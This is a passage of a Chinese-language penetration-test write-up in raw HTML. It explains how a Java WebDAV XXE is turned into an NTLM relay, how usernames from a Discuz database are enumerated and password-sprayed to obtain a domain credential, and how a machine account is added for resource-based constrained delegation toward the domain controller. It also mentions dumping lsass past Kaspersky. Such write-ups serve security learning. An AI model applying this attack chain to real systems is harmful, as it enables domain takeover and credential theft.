Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x03 XXE to 域控</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在本节中我们会讲到WEBDAV XXE（JAVA）利用NTLM Relay和一个机器账户去设置基于资源的约束委派来RCE的故事。当然绕过卡巴斯基dump lsass也是非常的精彩。流程图示如下：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.44704433497536944" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1624" src="https://wechat2rss.xlab.app/img-proxy/?k=5ca250eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKo1BphBZbN2Pm5GKsbkR8ibsXyibJ3bekeibSt1Qvdj9XJHRPYLz0KFxYw%2F640%3Fwx_fmt%3Djpeg"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">WEBDAV XXE</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">前文中已经提到了我们进入内网后发现一台部署着java应用的web服务器，并探测出该网站存在/webdav目录。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.1471927162367223" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1318" src="https://wechat2rss.xlab.app/img-proxy/?k=6c8acb77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKh1mFPGxIRh3uSNt5sPGVw29dibfX2IzTdlGwp6MyZ5fO5FRnMSOufow%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">在一个国外安全研究员的ppt(</span>What should a hacker know about WebDav?<span style="box-sizing: border-box;"> )中这样提到： </span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">一般webdav支持多种http方法，而PROPPATCH、PROPFIND、 LOCK等方法接受XML作为输入时会形成xxe</span></strong><span style="box-sizing: border-box;">。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们探测下支持的http方法：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.28888888888888886" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=f9ef3b1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK11Licvs33R3J4Ribh3PTHoRI533dpEX9tM89jF5Xn8ficHQBRv7AmdYFg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们在测试PROPFIND方法时成功收到了xxe请求：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.2940320232896652" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1374" src="https://wechat2rss.xlab.app/img-proxy/?k=4701c707&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKVIhfuaZjDXjMiaLrMaUibs25leibna762VhAUeCtomtHQsaQud19POl8A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">常规的xxe一般会想到任意文件读取、以及网上提到的利用gopher打redis等。在《</span>Ghidra 从 XXE 到 RCE<span style="box-sizing: border-box;">》中提到利用java xxe做ntlm relay操作。由于sun.net.</span>www.protocol.http.HttpURLConnection<span style="box-sizing: border-box;"> 发送HTTP请求遇到状态码为401的HTTP返回头时，会判断该页面要求使用哪种认证方式，若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.7397260273972602" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1460" src="https://wechat2rss.xlab.app/img-proxy/?k=5afb3c00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKR54LsAibt95I3rRVpBOUicmIbbARnO2wRewhwXn9Ctqeic5A13bGT9LSg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">现在我们成功获取到了NTLM认证请求，接下来就是NTLM中继了。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">NTLM中继和域机器账户添加</span></h2><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">什么是NTLM中继</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">相信大家都不陌生，要理解什么是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">NTLM中继</span></code><span style="font-size: 14px;"><span style="box-sizing: border-box;">首先要知道NTLM认证的大致流程，这里做个简单讲述，详细请参考</span>The NTLM Authentication Protocol and Security Support Provider<span style="box-sizing: border-box;">。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">NTLM身份验证协议中包含3个步骤：</span></p><ol start="" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">协商：NTLM身份验证的第一步是协议的协商，以及客户端支持哪些功能。在此阶段，客户端将身份验证请求发送到服务器，其中包括客户端接受的NTLM版本。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">质询：服务器以自己的消息作为响应，指示其接受的NTLM版本以及要使用的功能。该消息还包括challenge值。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">响应：收到challenge后客户端用hash将challenge加密，作为NTLM Response字段发送给服务器。</span></p></li></ol><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">NTLM身份验证是基于质询响应的协议，服务器发送一个质询，客户端对这个质询进行回复。如果质询与服务器计算的质询匹配，则接受身份验证。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.26435045317220546" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1324" src="https://wechat2rss.xlab.app/img-proxy/?k=97bfb5b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKGIL7ctlpVicEhGPDLEFcDDKetiacOG4icFjb3EjGopTdSbQjw3HAWkKQw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">知道了NTLM身份认证的大致流程，我们再来说NTLM中继，如下图所示，如果我们可以让Client A 向我们的Evil Server X，发起NTLM认证，那么我们就可以拿Client A的身份验证信息去向Server B进行认证，这便是ntlm中继。看到这里你会觉得说了那么多不就是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">中间人攻击</span></code><span style="box-sizing: border-box;font-size: 14px;">么，对就是中间人攻击。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.6303501945525292" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=578a5304&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK2btlvJdYTMibrYkFG40MvbGxKfojw1mmUAN6jaicMhhC9j2z90y8S89Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">知道了NTLM中继，结合Java WEBDAV XXE的作用，利用HTTP 401的认证，我们可以直接利用WEBDAV服务器的凭据向域控发起认证，让域控以为我们是WEBDAV服务器。</span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">在域中增加机器账户</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">在这里可能有同学有疑问了，前面不是提了中继么？为什么不用《</span>Ghidra 从 XXE 到 RCE》<span style="box-sizing: border-box;">和《</span>Ghost Potato》<span style="box-sizing: border-box;">里提到的方式去Relay回自身调用RPC进行相关操作，还要增加机器账户呢？因为这个WEBDAV服务是system权限运行的，而system账户做Relay时是用</span></span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">机器账户</span></code><span style="box-sizing: border-box;font-size: 14px;">去请求的，没有办法去调高权限RPC接口，所有这里不能直接Relay回自身调用RPC。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.19392917369308602" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1186" src="https://wechat2rss.xlab.app/img-proxy/?k=88934b14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKme1Lh8OBjhgbXWQboice9wgziafrgmUuxxf2577B3ALCE44QrRag7icMg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">既然不能直接Relay回自身调用RPC，我们换一种思路，</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">用基于资源约束委派一样可以获取权限</span></strong><span style="box-sizing: border-box;">。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在通过基于资源约束委派进行利用时，需要有一个机器账户来配合（这里说法其实不太准确，应该是需要一个具有SPN的账户，更详细的说是需要一个账户的TGT，而一个机器账户来代替前面的说法，是因为机器账户默认具有一些SPN，这些SPN包含了我们后面会用到的cifs等，这里就不细说了，不然又是一篇文章了，后面统一用机器账户来描述），而默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户，就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">那么问题又来了，既然需要一个机器账户，前面提到的</span></p><blockquote style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 0.8em;border-left-width: 4px;border-left-color: rgb(255, 191, 0);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-right: 0.5em;margin-left: 0.5em;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">system账户做Relay时是用</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">机器账户</span></code><span style="box-sizing: border-box;font-size: 14px;">去请求</span></p></blockquote><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">这个地方说的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">机器账户</span></code><span style="box-sizing: border-box;font-size: 14px;">，也就是我们文中的WEBDAV服务器的机器账户，为什么不用这个机器账户，要自己去增加一个呢？了解</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">基于资源约束委派</span></code><span style="box-sizing: border-box;font-size: 14px;">的同学应该知道，我们需要用机器账户去申请TGT票据，但是我们如果用WEBDAV服务器的机器账户，我们不知道这个机器账户的密码或者hash。没有办法去申请TGT。如果是我们创建的机器账户，我们是知道密码的，这样才能去申请TGT了，这里就不在深入继续分析了，里面涉及到的过程极其复杂，有兴趣的同学可以自行学习。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">回归正题，我们怎么在域中去创建一个机器账户。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们把在之前的discuz数据库中的用户名整理成字典，并通过kerberos AS_REQ返回包来判断用户名是否存在。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.43174603174603177" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1890" src="https://wechat2rss.xlab.app/img-proxy/?k=329b9875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK5cvWibK2InicOMasN8mhKXVu3afpVzbLkmfYxmIqmdmB3vxjXGBTTOAw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">接下来将discuz的密码拿到cmd5上批量解密，解密后发现大部分用户的登录密码都是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">P@ssw0rd</span></code><span style="box-sizing: border-box;font-size: 14px;">，于是使用</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">密码喷射</span></code><span style="box-sizing: border-box;font-size: 14px;">(一个密码和不同用户名的组合去KDC枚举) ，成功获取到了一个域凭据</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">n0thing@blueteam.com:P@ssw0rd</span></code></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.3056930693069307" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1616" src="https://wechat2rss.xlab.app/img-proxy/?k=d57195cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKUXibSjv2ysdwvsXcGBrDjNND6iaFoz7M1aScliaf18yPXRjEoso9xGQOw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">有了域凭据后就能连接域控ldap添加机器账户了，不得不说.net真是个好语言，用</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">System.DirectoryServices.Protocols</span></code><span style="box-sizing: border-box;font-size: 14px;">这个东西很轻松就能实现该功能。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.8490566037735849" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1272" src="https://wechat2rss.xlab.app/img-proxy/?k=5834846a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKibkfBfYibYOZt44cpbicLbHeEDId67TQtcJTBfa68YJ2FDrel47jiav5ww%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">有细心的同学看到这里可能会想: &#34;用xxe中继到域控的ldap然后添加一个机器账户不是美滋滋? 哪需要这么花里胡哨的！&#34;。但是域控不允许在未加密的连接上创建计算机帐户，这里关于加密涉及到tls/ssl和sasl，又是一堆的知识，这里就不细聊了。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">用.net写的小工具很轻松地添加上了一个机器账户。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.14456630109670987" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="2006" src="https://wechat2rss.xlab.app/img-proxy/?k=641c1f6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKJUZibwdc8DjOJcrJHDfY6IGAmpJlhq5iarLCuoHaqENnNo8LI9xsolxA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.3923444976076555" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="836" 